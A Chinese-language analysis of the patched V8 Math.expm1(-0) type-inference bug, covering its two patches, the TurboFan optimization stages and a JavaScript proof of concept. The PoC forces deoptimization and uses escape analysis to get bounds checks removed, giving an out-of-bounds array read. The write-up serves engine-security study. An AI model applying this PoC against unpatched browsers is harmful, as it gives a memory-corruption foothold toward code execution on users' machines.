v8-Math.expm1-OOB深入分析
字数 1252 2025-08-24 23:51:15

V8 Math.expm1(-0) OOB漏洞深入分析与利用

漏洞概述

这个漏洞涉及V8 JavaScript引擎中Math.expm1(-0)函数的类型推断错误,导致边界检查(CheckBounds)被错误消除,从而可能引发越界访问(OOB)。漏洞最初被认为只是一个功能特性问题,但后来被发现完全可利用来实现远程代码执行(RCE)。

漏洞背景

相关Issue

漏洞表现

function foo() {
  return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());

输出:

true
false

补丁分析

漏洞被修复了两次:

  1. 第一次补丁修改了operation-typer.cc:
Type OperationTyper::NumberExpm1(Type type) {
  DCHECK(type.Is(Type::Number()));
- return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}
  1. 第二次补丁修改了typer.cc:
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
- case BuiltinFunctionId::kMathExpm1:
  return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
...
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
+ case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:

类型系统关键概念

  • PlainNumber: 表示除-0之外的任何浮点数
  • Number: 包括所有浮点数,包含-0
  • NaN: 非数字类型

漏洞原理

TurboFan优化机制

TurboFan根据类型反馈(FeedBack)和预测来工作:

  1. 初始假设输入为Number类型
  2. 当类型反馈显示输入是字符串时,触发去优化(deoptimization)
  3. 第二次编译时使用内置函数优化,接受任何类型

类型推断错误

补丁前:

  • Math.expm1返回类型为PlainNumber|NaN,不包括-0
  • 但实际Math.expm1(-0)返回-0

补丁后:

  • 返回类型改为Number,包含-0

漏洞利用步骤

1. 触发去优化

function test(x) {
  var b = Object.is(Math.expm1(x), -0);
  return b;
}

print(test(-0));
for (var i = 0; i < 100000; i++) {
  test("1");  // 传入字符串触发去优化
}
print(test(-0));

使用--trace-deopt查看去优化信息:

[deoptimizing (DEOPT eager): begin 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7ffe301a06c0]
;;; deoptimize at <./exp.js:2:25>, not a Number or Oddball

2. 绕过早期优化折叠

使用逃逸分析(escape-analysis)防止SameValue在typer阶段被折叠:

function test(x) {
  var a = [1.1, 2.2, 3.3, 4.4];
  var c = {x: -0};  // 使用对象属性防止早期折叠
  var b = Object.is(Math.expm1(x), c.x);
  return a[b * 4];
}

for (var i = 0; i < 100000; i++) {
  test("1");
}
print(test(-0));  // 输出: 2.2741325538412e-310 (OOB访问)

3. 关键优化阶段分析

  1. Typer阶段: SameValue未被折叠
  2. Typed-lowering阶段: 未被简化为ObjectIsMinusZero
  3. Escape-analysis阶段: SameValue右结点被折叠为-0
  4. Simplified-lowering阶段: CheckBounds被消除

漏洞利用关键点

  1. 类型混淆: 利用TurboFan对Math.expm1返回类型的错误推断
  2. 去优化触发: 通过改变输入类型使优化假设失效
  3. 逃逸分析: 防止关键比较在早期优化阶段被折叠
  4. 边界检查消除: 最终导致越界访问

TurboFan优化管道

  1. Typer阶段: 类型推断
  2. Typed-lowering阶段: 高级操作降级
  3. Escape-analysis阶段: 分析对象逃逸情况
  4. Simplified-lowering阶段: 低级优化和折叠

总结

这个漏洞展示了V8引擎中类型系统与优化器交互的复杂性,以及如何通过精心构造的输入序列来利用类型推断错误。关键点包括:

  1. TurboFan的"惰性思维"优化策略
  2. 类型反馈与去优化机制的相互作用
  3. 逃逸分析在防止早期优化折叠中的作用
  4. 边界检查消除的条件和影响

通过理解这些机制,可以更好地分析类似的JavaScript引擎漏洞。

V8 Math.expm1(-0) OOB漏洞深入分析与利用 漏洞概述 这个漏洞涉及V8 JavaScript引擎中 Math.expm1(-0) 函数的类型推断错误,导致边界检查(CheckBounds)被错误消除,从而可能引发越界访问(OOB)。漏洞最初被认为只是一个功能特性问题,但后来被发现完全可利用来实现远程代码执行(RCE)。 漏洞背景 相关Issue Project Zero Issue #1710 Chromium Issue #880207 漏洞表现 输出: 补丁分析 漏洞被修复了两次: 第一次补丁修改了 operation-typer.cc : 第二次补丁修改了 typer.cc : 类型系统关键概念 PlainNumber : 表示除-0之外的任何浮点数 Number : 包括所有浮点数,包含-0 NaN : 非数字类型 漏洞原理 TurboFan优化机制 TurboFan根据类型反馈(FeedBack)和预测来工作: 初始假设输入为Number类型 当类型反馈显示输入是字符串时,触发去优化(deoptimization) 第二次编译时使用内置函数优化,接受任何类型 类型推断错误 补丁前: Math.expm1 返回类型为 PlainNumber|NaN ,不包括-0 但实际 Math.expm1(-0) 返回-0 补丁后: 返回类型改为 Number ,包含-0 漏洞利用步骤 1. 触发去优化 使用 --trace-deopt 查看去优化信息: 2. 绕过早期优化折叠 使用逃逸分析(escape-analysis)防止SameValue在typer阶段被折叠: 3. 关键优化阶段分析 Typer阶段 : SameValue未被折叠 Typed-lowering阶段 : 未被简化为ObjectIsMinusZero Escape-analysis阶段 : SameValue右结点被折叠为-0 Simplified-lowering阶段 : CheckBounds被消除 漏洞利用关键点 类型混淆 : 利用TurboFan对 Math.expm1 返回类型的错误推断 去优化触发 : 通过改变输入类型使优化假设失效 逃逸分析 : 防止关键比较在早期优化阶段被折叠 边界检查消除 : 最终导致越界访问 TurboFan优化管道 Typer阶段 : 类型推断 Typed-lowering阶段 : 高级操作降级 Escape-analysis阶段 : 分析对象逃逸情况 Simplified-lowering阶段 : 低级优化和折叠 总结 这个漏洞展示了V8引擎中类型系统与优化器交互的复杂性,以及如何通过精心构造的输入序列来利用类型推断错误。关键点包括: TurboFan的"惰性思维"优化策略 类型反馈与去优化机制的相互作用 逃逸分析在防止早期优化折叠中的作用 边界检查消除的条件和影响 通过理解这些机制,可以更好地分析类似的JavaScript引擎漏洞。